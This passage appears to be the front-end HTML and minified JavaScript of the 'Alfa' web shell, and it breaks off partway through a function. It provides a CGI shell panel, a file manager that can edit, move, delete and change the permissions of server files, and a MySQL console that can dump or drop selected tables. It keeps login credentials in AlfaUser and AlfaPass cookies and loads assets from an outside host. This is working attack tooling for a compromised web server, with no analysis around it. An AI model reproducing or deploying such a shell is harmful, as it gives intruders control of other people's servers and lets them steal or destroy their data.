<div id="cgiloader-minimized" onclick="showEditor(&quot;cgiloader&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 12px;" class="minimized-text">Cgi Shell</div></div></div>
<div id="rightclick_menu">
  <a target="_blank" href="" name="newtab"><img src="http://solevisible.com/icons/menu/newtab.svg"> Open in new tab</a>
  <a target="_blank" href="" name="link"><img src="http://solevisible.com/icons/menu/link.svg"> Open file directly</a>
  <a href="javascript:void(0);" name="download"><img src="http://solevisible.com/icons/menu/download2.svg"> Download</a>
  <a href="" name="view"><img src="http://solevisible.com/icons/menu/view.svg"> View</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="view_archive"><img src="http://solevisible.com/icons/menu/view.svg"> View Archive</a>
  <a href="" name="edit"><img src="http://solevisible.com/icons/menu/edit.svg"> Edit</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;move&quot;);" ftype="" path="" fname="" name="move"><img src="http://solevisible.com/icons/menu/move.svg"> Move</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;copy&quot;);" ftype="" path="" fname="" name="copy"><img src="http://solevisible.com/icons/menu/copy.svg"> Copy</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;rename&quot;);" ftype="" path="" fname="" name="rename"><img src="http://solevisible.com/icons/menu/rename.svg">  Rename</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;modify&quot;);" ftype="" path="" fname="" name="modify"><img src="http://solevisible.com/icons/menu/time.svg">  Modify</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;permission&quot;);" name="permission"><img src="http://solevisible.com/icons/menu/key.svg"> Change Permissions</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="compress"><img src="http://solevisible.com/icons/menu/resize.svg"> Compress</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="extract"><img src="http://solevisible.com/icons/menu/increase.svg"> Extract</a>
  <a href="javascript:void(0);" name="delete"><img src="http://solevisible.com/icons/menu/delete.svg"> Delete</a>
</div>
<div id="filesman-tab-full-path"></div>
<div id="alert-area" class="alert-area"></div>
<div class="cl-popup-fixed" style="display:none;">
	<div id="shortcutMenu-holder">
		<div class="popup-head"></div>
			<form autocomplete="off" onsubmit="return false;">
				<label class="old-path-lbl"></label>
				<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;" class="old-path-content"></div>
				<label style="margin-top:10px;" class="new-filename-lbl">New file name</label>
				<input type="text" name="fname">
				<div class="perm-table-holder">
					<table>
					   <tbody>
					      <tr>
					         <td><b>Mode</b></td>
					         <td>User</td>
					         <td>Group</td>
					         <td>World</td>
					      </tr>
					      <tr>
					         <td>Read</td>
					         <td><input type="checkbox" name="ur" value="4" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="gr" value="4" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="wr" value="4" onclick="calcperm();"></td>
					      </tr>
					      <tr>
					         <td>Write</td>
					         <td><input type="checkbox" name="uw" value="2" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="gw" value="2" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="ww" value="2" onclick="calcperm();"></td>
					      </tr>
					      <tr>
					         <td>Execute</td>
					         <td><input type="checkbox" name="ux" value="1" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="gx" value="1" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="wx" value="1" onclick="calcperm();"></td>
					      </tr>
					      <tr>
					         <td>Permission</td>
					         <td><input style="width:60px;" type="text" name="u" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;u&quot;, [&quot;u&quot;]);"></td>
					         <td><input style="width:60px;" type="text" name="g" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;g&quot;, [&quot;g&quot;]);"></td>
					         <td><input style="width:60px;" type="text" name="w" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;w&quot;, [&quot;w&quot;]);"></td>
					      </tr>
					   </tbody>
					</table>
				</div>

			</form>
		<div class="popup-foot">
			<button style="background: #2b5225;" name="accept" action="" onclick="alfaPopUpDoAction(this);"></button>
			<button style="background: #9e2c2c;" onclick="d.querySelector(&quot;.cl-popup-fixed&quot;).style.display=&quot;none&quot;;">Cancell</button>
		</div>
	</div>
</div><script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" 